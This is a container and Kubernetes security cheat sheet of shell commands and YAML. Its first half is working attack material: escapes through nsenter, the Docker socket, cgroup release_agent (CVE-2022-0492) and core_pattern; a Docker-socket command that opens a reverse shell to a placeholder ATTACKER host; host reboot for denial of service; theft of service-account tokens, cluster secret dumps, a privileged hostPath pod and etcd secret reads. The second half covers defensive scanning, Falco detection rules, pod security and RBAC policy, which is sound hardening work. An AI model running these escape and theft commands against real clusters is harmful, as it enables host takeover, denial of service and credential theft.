# Check if running in container
cat /proc/1/cgroup 2>/dev/null | grep -q docker && echo "In Docker"
ls /.dockerenv 2>/dev/null && echo "In Docker"
cat /proc/1/environ 2>/dev/null | tr '\0' '\n' | grep KUBERNETES && echo "In K8s"

# Privileged container escape (nsenter)
# Requires: privileged:true or SYS_ADMIN capability
nsenter -t 1 -m -u -i -n -p -- /bin/bash  # Enter host PID 1 namespace

# Docker socket mount escape
# If /var/run/docker.sock is mounted:
docker -H unix:///var/run/docker.sock run -d -v /:/host --privileged alpine \
  sh -c 'chroot /host bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'

# cgroup escape (CVE-2022-0492)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
echo 1 > /tmp/cgrp/notify_on_release
echo '#!/bin/bash' > /cmd
echo 'cat /etc/shadow > /tmp/cgrp/output' >> /cmd
chmod +x /cmd
echo "/cmd" > /tmp/cgrp/release_agent

# Capabilities abuse
# CAP_SYS_PTRACE: inject into host processes
# CAP_NET_RAW: sniff host network
# CAP_DAC_READ_SEARCH: read any file
capsh --print  # Check current capabilities

# /proc/sysrq-trigger (if mounted)
echo b > /proc/sysrq-trigger  # Reboot host (DoS)

# Core_pattern escape
echo "|/path/to/shell" > /proc/sys/kernel/core_pattern

# Service account token theft
cat /var/run/secrets/kubernetes.io/serviceaccount/token
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

# Enumerate permissions from inside pod
kubectl auth can-i --list

# Cluster-wide secret dump
kubectl get secrets -A -o json | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name): \(.data | keys)"'

# RBAC privilege escalation — create privileged pod
cat <<YAML | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: privesc
spec:
  containers:
  - name: shell
    image: alpine
    command: ["/bin/sh","-c","sleep 999999"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
  serviceAccountName: default
YAML

# etcd direct access (if exposed)
etcdctl --endpoints=http://ETCD_IP:2379 get / --prefix --keys-only
etcdctl --endpoints=http://ETCD_IP:2379 get /registry/secrets/default/mysecret

# Scan image for CVEs
trivy image --severity HIGH,CRITICAL --format json target:latest
grype target:latest --only-fixed

# Check for secrets in image layers
docker save target:latest | tar -xf - -C /tmp/layers/
for layer in /tmp/layers/*/layer.tar; do
  tar -tf "$layer" 2>/dev/null | grep -iE 'password|secret|key|token|\.env|id_rsa'
done

# Dockerfile security audit
hadolint Dockerfile

# Verify image signature
cosign verify --key cosign.pub target:latest

# SBOM generation
syft target:latest -o spdx-json > sbom.json

# Falco rule: detect container escape via nsenter
- rule: Container Escape via nsenter
  desc: Detect nsenter used to access host namespaces
  condition: >
    spawned_process and container and proc.name = nsenter
    and proc.args contains "-t 1"
  output: >
    Container escape via nsenter (user=%user.name container=%container.name
    command=%proc.cmdline image=%container.image.repository)
  priority: CRITICAL
  tags: [container, escape, mitre_privilege_escalation, T1611]

# Falco rule: detect sensitive file read in container
- rule: Read Sensitive File in Container
  desc: Detect reads of sensitive files from within containers
  condition: >
    open_read and container and
    (fd.name startswith /etc/shadow or fd.name startswith /etc/passwd
     or fd.name startswith /run/secrets)
  output: >
    Sensitive file read in container (file=%fd.name container=%container.name
    image=%container.image.repository)
  priority: WARNING
  tags: [container, filesystem, mitre_credential_access, T1552]

# Pod Security Standards (Restricted)
apiVersion: v1
kind: Namespace
metadata:
  name: production
  labels:
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/warn: restricted

---
# Network policy: deny all, allow specific
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-all
  namespace: production
spec:
  podSelector: {}
  policyTypes: [Ingress, Egress]

---
# Minimal RBAC: read-only service account
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: read-only
  namespace: production
rules:
- apiGroups: [""]
  resources: ["pods", "services"]
  verbs: ["get", "list", "watch"]